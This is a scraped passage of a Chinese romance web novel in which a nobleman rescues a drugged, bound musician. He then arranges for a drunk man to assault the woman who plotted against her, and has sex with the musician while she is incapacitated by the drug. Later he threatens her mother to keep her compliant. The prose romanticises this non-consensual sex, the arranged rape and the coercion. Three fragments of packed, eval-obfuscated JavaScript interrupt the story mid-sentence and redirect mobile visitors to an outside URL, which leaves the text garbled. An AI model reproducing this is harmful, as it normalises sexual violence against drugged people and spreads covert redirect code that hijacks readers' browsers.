这个词不甚悦耳,但瞿涯罕见没有发作脾气。 他迈前一步,正要推门现身,里面却话音一转,突兀提及另外一人的名字。 瞿涯脚步滞住,脸色慢慢彻底冷下去。 “鲁哥,你知道得多,今日青鸢姑娘等的究竟是哪家的富贵公子啊,能不能透露透露?” “反正你待会儿也能见到,没必要瞒你这一时。说起京城里武家出身的风流公子,你最先想到的是哪位?” “武家出身……那自然是云麾将军的幼子,杨桀杨公子,京城里数一数二的混荡子。其不承父兄征虏之志,整日流连花楼曲坊,沉醉莺声燕语,将杨老将军活活气得半死。所以……今日青鸢姑娘偷偷幽会的人,就是杨公子啊?” “越是知道得多,嘴巴越是要严。” 被唤鲁哥的人开口提醒一声,两人话音随之压得更低。 但瞿涯与他们仅一门之隔,还是字字听得清楚。 “当然当然,规矩我都懂。话说起来,我还从未见过青鸢姑娘的真容,听说她生得一副赛嫦娥的仙子皮囊,寻常男子只看其一眼,就会魂牵梦绕整夜难忘,这传言是不是真的啊?” “我哪知道?人家可是勤王殿下敬重的琴师,住在阆苑顶阁,一般人可没机会见到,不过……”鲁哥话音一顿,忽的轻浮抿笑,继续道,“不过待会儿,你没准有机会听到这位人间仙娥被人上了的□□声,只闻其声,你试试今晚会不会魂牵梦绕?” 两人窃窃起笑,腔调油滑。 未等另一人开口回话,后门猛地被人踹开。 哐当一声巨响动静,两人皆大惊,回身去看,认清来人身份,同时不可置信地瞠目呆住。 瞿涯勃然大怒,阴着脸,身手迅捷上前,将那两人切颈打昏,随意丢到一旁。 之后关门,落闩,往里进。 步至内寝,瞿涯一眼就看到青鸢正衣衫不整地瘫躺在榻上,室内熏香,浮浮靡靡,垂落的浅色床幔轻幅回荡,片片飘卷。 入目画面香艳,钻鼻的香味更像带火的引线,直将人周身从内到外烧起来。 这味道,他熟悉。 几日前,两人在熹园凉亭里旖旎难分,当时他就是闻到这股香味才会一发不可收,他早知道她对自己耍弄了不上台面的花招,不过看破不说破地纵容,结果同样的招数,她竟敢还用在别人身上。 是他这段时间,对她太好了吗? 青鸢反应迟钝,瞿涯站在榻前,凶神恶煞盯了她好半响,她才终于察觉有人靠近。 她先是警惕缩身,之后忍着浑身烧灼的不适,侧首去看。 原以为会看到害她的人,结果视线扫过去,映进她眼里的竟是瞿涯那张冷峻面孔。 青鸢茫然怔住,以为是自己求救念头太强,竟出现了幻觉。 她一时没反应。 瞿涯冷睨着她,讽刺道:“怎么,见到是我,你很失望?我来是坏了你的好事?” 嘴毒的口吻,听着叫人熟悉。 若是平时,青鸢被他冷嘲热讽,一定会耷拉着脑袋闷闷沮丧,可遇险之际,再幻听出他的一言一语,竟会觉得踏实心安。 大概在她心底,瞿涯对她再坏,也是有缘故的报复,并非出自色意,他本身还是君子品质,不屑于施弄下三滥的无耻手段。 瞿涯看她还是不说话,仿佛一拳打在棉花上,气恼更甚。 又看清她手足各有一侧被绳绑束,身上衣不遮体,胴体晃目,眼底先是火热一瞬,旋即又冷下去。 他上前一步将被子盖她身上,看她的眼神晦暗难测:“如此施诱,你知不知羞耻?” 施……诱? 青鸢不明。 盖被子的实感太真实了,好像真的发生在眼前。 青鸢屏息感受,恍惚之中察觉,对方的指尖似乎无意碰到了她的手臂,呼吸的气息也向下喷洒在她脖颈上,痒痒的。 一切好像并不是幻觉。 她迟疑看向瞿涯,抿了抿唇,终于鼓起勇气,抬起自由的那只手,向上勾搂,试图环住瞿涯的脖颈。 ……她真的抱住了! 是瞿涯,他就在她身前,触感真实,不是幻影。 青鸢眼神希翼亮起,仿佛抓住了救命稻草,紧搂不肯松手,又轻柔柔地出声相唤:“世子……” 她刚开口,瞿涯发狠出手,一把掐住她的脸颊,指腹深深陷进双颊的软肉里。 他目光森冷,连名带姓地叫她:“青鸢,你好大的胆子,竟还敢碰我。” 平常他只稍稍板脸,已然不厉而威,如今明晃晃地发怒,青鸢被他的气势吓到,忍不住往后瑟缩肩膀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325695|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 瞿涯继续发难:“该说你蠢还是傻?就算你想另寻庇护,就不能擦亮眼睛寻个有本事的?选个酒囊饭袋来保你,简直愚不可及!难道你看不出来,杨桀根本护不住你,他不过就是想睡了你爽一爽?” “我,我听不懂……” 青鸢委屈摇着头,模样是真难受,什么杨桀,她听得云里雾里。 瞿涯审视着:“还装?” 青鸢眼眶泪水打转,声音氐惆:“没有装……世子信我,我是被人迷昏后带到此地的,前面发生了何事我都不清楚,自醒后,我就是这副样子了。” 瞿涯盯着她:“外面那两个看守,不是你寻的人?” 青鸢忙否:“我不知是谁在守门,世子方才何故提起杨桀杨公子?” 瞿涯口吻冷硬:“据那看门的说,今日与你幽会的人正是杨桀,若我不来,开门见你一副半裸模样的人,就是他了。” 青鸢下意识道:“幸好世子早一步来。” 瞿涯眯起眼:“怎么,你更希望是我?” 青鸢抬眸,真诚道:“当然更希望是世子。” 瞿涯不再作声,心口燃烧欲裂的火气,竟然就这么轻易被浇灭大半。 他抬手碰了碰青鸢的额头,很热,像风寒发作,可看她的样子,又不像寻常寒症。 “把事情前因后果说清楚。”瞿涯收敛威厉,坐在床榻边,口吻稍微缓和些。 青鸢内心不安地拉住他的衣角,低叙道:“我原本待在阆苑里,不知怎么回事,脑袋突然发晕,之后意识迷蒙,就什么都不知道了。等我醒来睁眼,就发现自己躺在此地,手脚皆被捆绑。我挣扎不脱束缚,又反复昏晕,之后听到外面动静再次苏醒,察觉世子出现在身边时,还以为是不真实的幻觉。” 瞿涯眸利如隼,不放过青鸢面上任何细微的表情变化。 如果她敢言谎,或者继续耍花招瞒骗,他一定不轻饶了她。 然而,她眼睛澄明干净,不见丝毫心虚与慌乱。 依他审问敌犯无数的经验判断,青鸢没有说假话。 今日一事,必有蹊跷。 “知道是谁害你吗?”瞿涯问。 青鸢想了想,斟酌开口:“阆苑守卫并非摆设,能在他们眼皮子底下将我带走,还未有惊动,我怀疑主使之一,或许就是阆苑的人。但具体是谁,我没凭证,无法断言。” 瞿涯:“我倒有一怀疑人选。” 青鸢:“是谁?” 瞿涯:“庆功宴当日,杨桀在熹园闹出事端,你可有听说?” 青鸢:“听说了一二,好像是阆苑琵琶阁的喜儿与杨桀私通,被薛三娘捉个正着。” 瞿涯摇摇头:“你只明表象,却不知自己也牵连其中。” 青鸢目露困惑。 瞿涯言简意赅,把薛三娘与邹清清在熹园捉奸的过程讲清楚,提起薛三娘脱口而出的那句“青鸢在哪”时,青鸢眼睛瞬间睁大,惊讶之余,大致将思绪理清。 “所以,她们怀疑是我与杨桀私通?” “是,但事与愿违,与杨桀私通的不是你,她们大费周章却只捉了个不起眼的喜儿,未达目的,怎会罢休?于是她们便打算将错就错,将你迷晕带到此处,再引来杨桀对你……”瞿涯没有把话说完,眼神冷戾下去,“如此,冤死了你,目的同样达到。” 至于什么目的,青鸢心里稍微揣测,便能清楚。 她住在阆苑顶阁两年,在邹清清眼里,自己是占了她的位置,而薛三娘是邹清清的姨母,势必帮亲。 青鸢看向门口位置,心底一阵后怕。 若方才推门而入的是杨桀,恐怕现在,她清白已失。 思绪短暂清明过后,体温滚烫,浑身灼热的感觉再次席卷全身。 青鸢心脏颤麻,呼吸继而加重,额前也渐渐沁出了汗珠。 她大口呼吸,不知自己中的究竟是什么歹毒的迷药,竟会反复发作,一次比一次潮热汹涌,并且拖得时间越久,她不上不下的渴望就越是强烈。 空虚感如同深不见底的渊潭,她靠在瞿涯膝边,渴求被填满。 16.第 16 章 瞿涯察觉青鸢不对劲,面色潮红,瞳孔涣散,立刻低身凑近问:“怎么了?” 青鸢意识恍惚,只感受到瞿涯身体外散凉意,只要靠近他,心口受灼烧的痛苦便能纾解。 她完全控制不住,主动伸出手,拉扯着瞿涯来抱自己。 她浑身软趴趴的无力,可一把就拽来了瞿涯。 两人交颈,呼吸交缠,明明彼此身体都在升温,她却觉得格外清舒凉快,血液跟着止沸,心底浮躁的冲动也被安抚。 瞿涯眼神压抑,身体更是紧绷,此刻他姿势怪异,身体一半撑着,一半几乎实压在青鸢身上,两人身形又差很多,他不想像座山一样覆下去,压得她喘不过气。 然而青鸢执拗不放手,坚持与他挨贴。 瞿涯没办法,目光下睨,喉结不由滚了滚,那两房腻软挤在他结实胸膛前,像奶豆腐,又像蒸软酪。 他素不喜甜,此刻却口味有变。 舌尖抵着上膛,克制半晌,瞿涯有了反应。 继续僵持下去不是法子,此地说不准何时就会来人,加之青鸢时而清醒时而迷糊,手脚总不老实地在他身上胡乱游走,他再强的意志力受得住旁人却受不住她。 瞿涯无可奈何,又无法将其就地正法,觉得青鸢实在可恨。 他咬咬牙,强忍,决定先将人带走,另寻地方安顿好。 瞿涯哄着青鸢先把他松开,起身后,看了眼室中央不断袅袅升烟的高柄竹节熏炉,他走过去,灭了香,又将窗户打开透气。 室内空气流通起来,青鸢似乎终于好受一些。 但到底被闷熏了太久,哪怕瞿涯这样意志力强的,身处室内片刻,喉咙都有发干的异感,更别说青鸢这样娇滴滴的姑娘,在燃香的环境里受侵染久了,自然没那么容易恢复如常。 这香药歹毒,而下毒的人,居心更险恶。 瞿涯肃着面目开口:“如此下作手段害你,她们找死。” 他一副为她撑腰的口吻,青鸢听清了,心头一暖。 可是眼下,她已经顾不得去想薛三娘与邹清清了,身体时刻焦灼,像被烈火焚烧,她只想快些解脱。 瞿涯跟她说了句话,而后出了房间,在院中吹响骨哨。 那是镇北军专用军哨,由瞿涯密定,用于战时传达信令,回京后,哨声仍可唤召蛰伏于暗处的镇北军影卫。 据说,这是皇帝给瞿涯的特殊权利,且影卫名单机密,由瞿涯调控自由。 在京城天子脚下,能有这样殊待的,瞿涯是头一份,可见圣恩深隆与帝心信任。 瞿涯很快去而复返,将困束青鸢手足的绳子解开,而后用被子将人严实裹缠。 “先带你回熹园安置,其余的交给我。”他把人打横抱起,迈步要出门。 青鸢浑身绵软无力,手臂环着瞿涯的脖子,虚弱道:“我难受极了,劳烦世子请女医来熹园,帮我诊一诊。” 她此刻的发作症状,实在难为情叫寻常的郎中诊看,寻一女医士过来,不失为最合适的选择。 瞿涯下睨目光,侵略性十足:“恐怕女医士无法解决你症状发作的根源,更消解不了你受灼热的痛苦。” 青鸢心底没着落,轻声喃喃:“那……要如何能解?” 瞿涯挺直腰板,抱着她往上一颠,稳稳捞回后,他目光直视前方开口:“跟我回去,你自然知晓。” 瞿涯带青鸢乘马车回熹园。 其余四个影卫,全部原地未动,他们继续匿身于小院附近,在暗窥明,守株待兔。 到了熹园后苑,瞿涯屏退下人。 只剩他们两个独处,也没什么再顾忌的,瞿涯抬手直接剥了裹束青鸢的被子,帮她松松气,不过如此一来,青鸢衣衫不整团乳乱颤的样子,再次靡靡映目。 瞿涯咬咬牙,主动偏过眼。 熹园有方寒潭,取源于地下,涓流沁凉,此刻正好起了作用。 瞿涯抱着青鸢下寒潭,冰凉的潭水很快浸湿两人的衣衫,有效抚平了青鸢的躁热,见她慢慢舒展开眉心,瞿涯松了口气,知晓她浑身将燃难耐的火气还能暂时压一压。 他还有事要处理,于是唤来哑嬷,作了几句吩咐,示意她照顾好青鸢。 哑嬷是熹园忠仆,自侯府跟来,从小看着瞿涯长大的,听了吩咐,也不打听缘故,立刻点头应承,又拍拍胸脯示意瞿涯放心走。 瞿涯带人离开一会儿,小院那边已经有了状况。 影卫们戒备巡视时发现有一可疑身影,一直逗留在小院附近,时不时地原地踟蹰,又偶尔抻头观望 瞿涯提前交代过,宁可错抓,不可放过。 影卫们当即迅捷出动,将人打晕擒拿,只等世子回来定夺。 瞿涯走进毗邻小院的一间荒僻无人的破败宅院,一眼看到被打晕捆绑在房柱上的邹清清,他蹙起眉头,本能厌恶地止步,不再继续向前靠近。 他的怀疑得以验证。 背后弄鬼的,果然就是邹清清还有那个薛三娘。 眼前此人更可恨,竟如此坐等不急,杨桀还没来呢,就迫不及待蹲守着青鸢失身。 不可饶恕。 但只入网了一个怎么够? 瞿涯命令手下将邹清清送进隔壁房里,手脚全部绑在床柱四角,再割下她的纱衣,蒙遮在脸上,不辨五官。 她想迫害青鸢什么,自己得先受一受,自尝苦果,该来的报应。 …… 杨桀姗姗来迟,是因被薛三娘灌了酒。 薛三娘为了事情稳妥,试图用酒水再上一重保证,毕竟在杨桀眼里,青鸢今日是自愿与他幽会的,若他发现青鸢晕在里面,琢磨着事情不对劲不敢直接上呢?那全盘计划成空。 为了临门一脚不出意外,薛三娘以阆苑规矩为牵强理由,劝着杨桀饮得醉醺醺的。 亲眼看着杨桀身形晃悠悠地走到约定地点,再一脸色意心急地推门而入后,薛三娘面上露出得逞的快意笑容。 然而,她嘴角这抹笑还没来得及收回去,肩头忽的被人从后重重一拍。 薛三娘做坏事心虚,吓得浑身一哆嗦。 她下意识回头,看清来人是自己手下一房副职掌事,松了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335117|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对方大汗淋漓跑来传信,显然是有急事发生。 薛三娘问:“怎么了,因何事惊慌?” 副掌事连忙回话:“王妃不知为何罕见屈尊来阆苑巡查了,并且看着脸色不太好……三娘快跟我回去应付一下吧。” “王妃怎会突然过来,招呼都不提前打一声?” “我也不知晓,当时王妃的轿辇都到门口了,我们才被临时通知。” 王妃自然是指勤王妃,阆苑名义上的女主人。 她平日里对勤王爱听曲的爱好是睁一只眼闭一只眼的,从未主动找过阆苑的麻烦。 眼下突然造访,架势来者不善,薛三娘心头不由生慌。 她面上强作镇定,望了眼深巷里已经关严的那道门,想留,又不敢不走。 不过想到清清待会也会过来盯着,至于后面怎么做,怎么诬陷泼脏水,她都知晓。薛三娘对自己的外甥女还是放心的,于是决定跟着手下人一起返回阆苑,先去应付王妃大阵仗地亲临。 …… 屋里的熏香被重新点燃,并且人为燃火,烧得比先前更旺许多。 窗户被全部封死,密闭的狭小空间里,缥缥缈缈的香味越积越浓,几乎要到熏眼呛鼻的程度。 而待在里面的人,意识昏聩,早顾不得去想开窗通风的事了。 他们一个喝得熏醉,精虫上脑,一个周身焚火,无法自控。男女发.情只在一瞬间的天雷勾地火,杨桀错认了遮面纱的女人,辨都不辨就开始脱裤泄火,而邹清清此刻则是谁都可以,来者不拒。 两人绝配,共处一室,互相消火。 影卫有两个守在房梁上望风,另外两个立在隔壁荒宅里,与瞿涯待在一起。 男女哼哼唧唧的放荡叫喊声穿墙而过,很是不堪入耳。 瞿涯面不改色,只当隔壁动物□□,甚至还有闲情逸致饮茶解闷,而那四位血气方刚的年轻影卫们却难免受影响,时下皆不自在地刻意板了板脸。 他们闹不清楚眼下状况,只是奉命行事。 对究竟发生了什么,世子何故惩治那一双男女,完全不知内情。 他们忠于世子,并不好奇探问,可被迫听着隔壁男女的活春宫,实在有点遭罪。 毕竟在战场上,他们一年半载都接触不到女人,紧绷习惯了,如今刚回京城不久,就来听别人颠鸾倒凤的墙角,身体当然本能压抑得难受。 瞿涯看着手下一个个的绷紧身子,觉得时机也差不多了。 他随手指了一人,淡声吩咐:“你去阆苑报信,说常规巡逻时发现有可疑小贼进了阆苑私宅偷盗,将人引来此地。” 被指的影卫顿觉如释重负,铿锵有力地回复:“是!” 那间院子原本就是阆苑安置新来琴师的私宅,也算是勤王府名下的房户。 眼下王妃还在,偷盗必定得以重视,薛三娘想拦都拦不住。 瞿涯出手惩戒可不是小打小闹,他就是要让背后弄鬼的人知道,真正的捉奸成双,是什么样。 青鸢白白遭的那些罪,他会让那群人如数还回来。 17.第 17 章 青鸢意识恍惚,只隐约记得自己是被瞿涯抱进水里的。 池水冰凉,她身子浸在里面起初还算清爽舒服,可渐渐,水温升起来,肌肤寸寸被滚烫,她难耐冒汗,再也安静待不住。 混沌间,她分不清究竟是自己心底燃火,还是池水滚沸。 总之火热包裹,分外煎熬。 再后来,有个年迈的嬷嬷靠近寒潭,她手里提着冰桶,费力往池子里倾倒冰块。 整桶倒进去,水温果然降下不少。 青鸢缓了缓,终于得以片刻的安歇,可没过多久,身体不适感再又加剧,她嚷嚷着难受,叫着好热好热。 嬷嬷也着急,卖着力气,躬着年迈身躯,提起第二桶冰块又往池里倒。 如此反复。 青鸢看着对方颤巍的手臂,佝偻的腰背,很是过意不去,但她又真的难忍浑身火气的浮躁。 第四桶冰块倒进潭池后不久,瞿涯回来了。 他脚步匆匆,大步流星赶至。 靠近寒潭,他先往池里看了眼,而后与嬷嬷打手语交流。 等嬷嬷退下,他向潭边挪步,二话不说直接褪了身上外袍,下潭水,拥住她。 一瞬间,青鸢只觉得神奇。 明明是同一方潭水,她自己浸在里面,如同泡在滚水里,可与瞿涯身挨身相贴时,水面滚沸不再,所有冰块都浮起来,她终于感受到潭池真正的沁凉,身体亦不再灼躁。 瞿涯的身体比冰块管用多了,像是她的专属解药。 她再也忍不住,主动勾手,环上瞿涯的脖颈,又觉得自己身上那点半遮不掩的布料碍眼,干脆扯落,继而袒着身子,蹭到瞿涯身前,不知臊地要他再为自己降降温。 瞿涯:“我帮你平了事,教训了一干人,你不问问详细吗?” “唔……” 青鸢嗡喃,此刻头脑还是混沌不清的,她听不懂瞿涯的话,更察辨不出他话音里的紧绷,以及一丝最后的警告意味。 她唯一想的,只有快些解开瞿涯的内衫,叫他与自己一样,袒裼裸裎对外,而后两人紧密相贴,她好借他的身体降温。 “我与你说正事,你却只想扒我的衣服,待你清醒时,可怨不得我。”瞿涯睨着她,眼神沉晦带欲,捏着她的下巴,沉声再问,“这么想我操?若是换了别人,你也同样来者不拒?” 他想到邹清清中了与青鸢同样的迷药后那副轻浪媚样,很是反感,又不由联想起,如果青鸢没有被他救走,那么在小院扭动着身体与杨桀发生关系的人…… 心口烦躁升腾,险些压抑不住。 瞿涯强制自己不再继续想下去。 “世子,我好难受,帮帮我,求你……”青鸢已经难挨到极点,时下空茫无依,只顾索求。 闻声,瞿涯绷着的脸色却有了一丝松动。 世子, 原来她还认得眼前之人是谁。 青鸢一声似有若无的低喃,精准抚平了瞿涯的郁气,更消了他的火。当然,消的只是心里的,无关腹下的。 两人拥着,仿佛身处的不是寒潭,而是一方被烧透的火红砖窑,四周正挟裹而来炽热的岩浆。 瞿涯再也按捺不住,扣住青鸢的肩膀,坚硬挨贴,吓得她下意识缩躲。 “躲什么?”瞿涯拦住她的去路,口吻微厉着道,“不是你求着要帮忙的?” 青鸢茫然抬眸,小鹿似的漂亮眼睛无辜眨了眨。 瞿涯笑了,抬手,蹭了蹭青鸢细嫩的脸皮,决定大发慈悲地,慷慨不留余量地好好帮一帮她。 …… 青鸢再度睁眼时,不知今夕是何夕。 她环顾四周,发觉自己躺在一间陌生的内寝里,房间装潢暗调雅致,正身处的月洞式门罩架子床材质高档,格外奢侈,手中摸到的衾单绸锦,滑感细腻,应为苏陵特供,这一屋子摆设,非寻常人能住。 青鸢收回视线,猜想到,这里不是熹园的寻常客房,而是主卧内寝,世子的房间。 可当下,屋内并不见瞿涯。 青鸢重新躺下,闭了闭眸,她意识虽清明了些,但脑袋还是时不时发胀,又揉了揉太阳穴,迟钝感觉到身体各处都异常酸软僵硬,尤其腿腹,更显疲乏。 视线下掠,注意到自己身上衣裙全然陌生时,青鸢一瞬怔茫住。 大脑先是一片空白,随即断断续续的记忆画面如潮水般激涌而来,幕幕清晰浮现。 她以为自己什么都不会记下,可是…… 原来她混混沌沌间,竟都没有忘—— 她记得,寒潭里,瞿涯背靠在池壁边,单臂托着她的臀尝试向上托举。 同时,又戏谑看着她,用算账的口吻问道:“我方才帮了你,现在又要帮你一次,你如今对我如此不客气,也不主动道声谢?” “该算的帐都算明白了,尾巴善后的事也不用你管,只是经此一遭,你最好不要继续留在阆苑了,你……” 意识到现在与她说这些,她未必能听懂,瞿涯干脆闭嘴,低下头,重新开始专注。 青鸢是第一次与男子亲密到这种程度,浑身紧绷到极致,始终无法放松,于是过程艰难不顺,而瞿涯软硬兼施,又是威迫又是轻哄,依旧不得通畅。 两人都大汗淋漓了,可还什么都没干成。 瞿涯眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343326|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心压抑深拧,他还没说不满,青鸢倒先忍不住委屈落泪了。 反复于冰与火之间起伏沉沦,她既不能解脱求生,又无法立刻就死,只得干熬着,眼泪都快流干,眼眶更是洇洇通红,一副可怜的待宰羔羊模样。 目睹着她的全部情态,瞿涯恶劣心起,将人抵在身前,附于她耳边道:“想被我操还是不想?再不放我,老子要死在你身上了。” 水波映衬下,青鸢长发于后披散,宛如一泓瀑布,她像是听懂了什么,樱口微张,颊顋异红,瞳眸涣散。 这副样子靡丽绝伦,美艳不可方物。 瞿涯舔舔唇,忍不住地上瘾,再试。 大概是这回位置足够了,他忽的察觉受阻,一层似有若无的屏障隔挡在前,不允通行。瞿涯反应过来,身子猛然僵住,眸子紧跟一缩,直直盯上青鸢的脸。 “你……” 他亮熠的眸光外露,没人知道欲言又止的当下,瞿涯心里到底在想什么。 只有他自己知道…… 在两年前,他便派人查清了青鸢的来历与出身,她在芳菲楼长大,那是苏陵最有名的花楼风月场,贺容音是她的养母,而她的生母,则是芳菲楼早些年最有名的花魁。 所谓耳濡目染,花楼的环境如同大染缸,青鸢自小接触的,遭遇过的种种,自是混乱复杂。 瞿涯更清楚,有些恩客偏喜亵玩幼女,所谓‘开.苞破雏’正是花楼最大的营收噱头。 偏偏青鸢生得好,浑然媚骨天成,又在花楼长大,惯日进进出出,名声定然雀响,苏陵城远近多少人肯为得到她的初夜而千金万金地竞价砸进去,可想而知。 那花楼老鸨又岂会与钱银有仇,放她干干净净地长大? 这些细处,都是瞿涯先前刻意忽略不愿琢磨的。 当年两人初见,那一面,惊鸿一瞥,青鸢是深刻烙在他心底某一位置上的,她在他眼里曾最是光洁。 如果后面没有发生她阿娘的事,瞿涯会努力说服自己接受她的复杂过往,娶她进侯府,保护她再不受强权欺辱。她一个柔弱无力的姑娘,哪有能力抗争出身,抵抗权贵,发生的所有都不是她的错。 可现在,身下触及到的阻隔实实在在,说明除了他,这脐下小道从不曾被旁人浚通。 思及此,瞿涯几乎全身都振奋了。 淤潭泥淖里开出了纯净无暇的不染花,原来他心里的光洁从不曾蒙尘。 他激动,畅快,更生怜惜地俯身去吻她。 青鸢不知措地轻眨眸,不明发生了何事,但即便头脑昏昏,她仍怕他而不敢闪躲。 “世子,不要惩罚我了……” 18.第 18 章 青鸢瞪大眼睛,怪异的排斥感只在一瞬,再之后,灼热的体温真的慢慢渐凉下去。 她不明白,瞿涯的身体明明也很热,但此刻对她而言却像一面结实的冰板,轻易吸附掉她身上裹缠的热火,帮她解脱长久受炙烤的折磨。 如此一来,青鸢好受了,对他的接纳程度越来越高,甚至浑浑噩噩间都舍不得他离身…… 直至半个时辰过去,翻滚的热浪终于平息。 青鸢缓神,向下看,过意不去地抹了把脸,她不知自己是怎么回事,竟如此不受控,将世子干净的床褥弄得一塌糊涂。 如果可以,她真想亲自收拾洗净,好阻止别人入目那一片羞人的洇潮。 瞿涯姿态慵懒,正用干净的手帕不紧不慢地洁净手指,边擦边启齿:“放心,里面哑嬷会收拾妥当,不会传出去一句闲言碎语。” 青鸢想起他进来后与嬷嬷打过手语,那位寡言不爱吭声的嬷嬷,原来是哑的。 这叫青鸢少了几分顾虑。 只是,两人刚经亲密,眼下正经对话相对,难免生出异感。 青鸢垂下头,躲避瞿涯深晦的目光,怕他又轻易窥探到自己的心事。 “上次给你的药膏,还有吗?”瞿涯忽的问。 青鸢反应过来他指的是什么,轻声回:“还有的,剩下不少。” “下面那里,也可以用,你自己回去涂一涂,消肿会快些。虽然方才没有……”瞿涯话音停顿,又在指腹处反复做擦拭动作,很难不叫人怀疑,他是刻意的。 后又继续,“不过到底是叫你不舒服了,回去好生养着。” 青鸢脸都要低进被子里了,若非忌惮他,真想抬手捂了他的嘴! 其实肿并不是因为受冲撞,而是单纯被撑的。当时瞿涯私心占有,破了那层有所象征的隔膜,而后便僵停了。两人到底相差太多,根本进行不下去,后面她又一直呜咽不停,解了迷药的难受劲后,本能开始过河拆桥,嚷嚷着好痛,不要继续。 瞿涯最后咬着牙放了她,还骂了句很脏的脏话,抱怨说伺候祖宗也没这么多事。 骂骂咧咧完,却又不得不用手帮她彻底清解余毒。 那片她看都不敢看的洇潮,就是那时留下的。 过去好久了,痕迹还是那么鲜明。 事后,瞿涯出乎意料地没有挂脸色,也并没有因为未能进行到底而怨气外露,他心情反倒不错,像是有更值得欢喜的事挂念在心上,别的一切都可忽略。 至于那点欢喜是什么,青鸢揣测不明。 瞿涯看青鸢出神,盯了会儿,似笑非笑地开口:“老头子近日或许会邀你见一面。” 从他嘴里不屑语气唤出的老头子还能是谁? 青鸢顿时有些紧张,问:“侯爷要见我吗?” 瞿涯:“是。” 谈及接下来的话题,瞿涯眼底欲气消散,取而代之的,是常见于他脸上的淡漠冷情。 不管她叫他尝到了怎样的甜头,这桩即将到来的侯府喜事,于他而言,始终都是排斥的。 青鸢很明白这一点,故而小心翼翼,从不敢在事成前抱有任何的侥幸心理。 看着瞿涯的脸色,青鸢再度斟酌开口:“世子是有要吩咐我的?” “他大概是想与你谈一谈,你娘进府后,你的去处。”瞿涯口吻平静,神色无澜,与方才情动时的模样相比,简直判若两人,“你与贺容音没有血缘关系,进不进侯府都可商议,不过各有考量罢了。” 只听语气,青鸢辩不明瞿涯的意思,不清楚他究竟是想她进府,还是不想。 猜不透,索性问得清楚些。 “那世子的意思是?”问完,不待瞿涯回复,青鸢大胆说出自己的想法,试图做一番争取,“我的意愿,是不想跟阿娘一同进侯府,成为名义上侯府的人的。我与阿娘出身皆复杂,如今只她一人进府已经闹出这般风浪,若再加上一个在阆苑做过琴师的女儿,激起的风言风语可想而知。我不想给大家添麻烦,世子也一定不愿往后侯府被外人谈及时,众人不记得瞿家两代军候之功绩,唯独只记得一桩荒唐婚事吧。” 瞿涯脸色冷着,出声:“有没有你,无甚差别。老头子为老不尊,执意疯魔,早害得镇北侯府成了全京中人茶余饭后的乐子谈资,他都不在乎自己早年当军候带兵打仗积累的威严声望,我又在乎什么?” “世子若真不在乎,也不会阻拦至今了。”青鸢声音低柔,谨慎小心,生怕触到他的逆鳞,“我知世子对我们母女深深厌烦,对我更不过是报复取乐,我无奢望也无怨恨,只求阿娘心愿得偿。阿娘婚事过后,我保证会留在京中本本分分,不给侯府惹去丝毫流言蜚语,也不会再如先前那般,冒昧打扰,世子大可放心。” 瞿涯淡淡睨着她,问:“你想继续留在阆苑?” 青鸢摇头:“阆苑毕竟是抛头露面的地方,阿娘嫁进侯府后,盯上来的眼睛自会变多,我不宜继续留下,便想着在城郊买下一间偏僻宅院,独居在那里,给孩童当琴师授课。” “原来是想躲清闲。”瞿涯口气幽幽,叫人辩不出其他情绪,“若无一方坚实庇护,只怕这份清闲没那么容易得来。” 青鸢没接话,其实今日之事就是有力的佐证,若无瞿涯相助,此番她定遭劫难。 但对青鸢而言,拿瞿涯当长久的后援依托,并不是明智之举。 阿娘将要嫁给侯爷,以后就是世子名义上的继母,她无论如何,都不该与对方产生过多的关联。 至于先前那些主动招惹,都是她为达目的不择手段,待事成了,她自要脱身的。 她正心虚想到这儿,瞿涯心领神会一般,忽的用力捏住她的下巴,冷声提醒:“如果你现在就想着脱身遁逃,拿我当愚人戏耍,我保证你娘在侯府里不会有一日过得痛快,若不信的话,你大可以试试看。” 听着对方威胁警告的声音,青鸢背上不禁汗毛竖起。 她忙不迭道:“我,我怎敢愚耍世子……” 瞿涯松了手,可周身外露的威逼气势仍不减丝毫,压迫得青鸢战战兢兢。 他又道:“你阿娘正怀身孕,你想跟随进府,帮忙照顾一月。待老头子询问你时,你便如此答复。” 若只是短时进府照顾,那她名义上便与侯府没有关系,这正是她想要的。 青鸢试探着又问:“那一个月后?” 瞿涯唇角淡漠弯起,口吻轻飘飘的恶劣:“待我腻了,你自然可脱身。” 腻了, 玩腻了。 这话听着真是刺耳。 青鸢身体有些发凉,感觉自己好像一片飘零的秋叶,无所依撑之际,又遇狂风裹挟,久久落不到地上。 无妨的,她自我宽慰。 只要想起阿娘释然的笑脸,她便觉得自己所有的付出都是值得。 为了这份值得,她愿意承受世子所有的不满、迁怒、报复,还有恶劣。 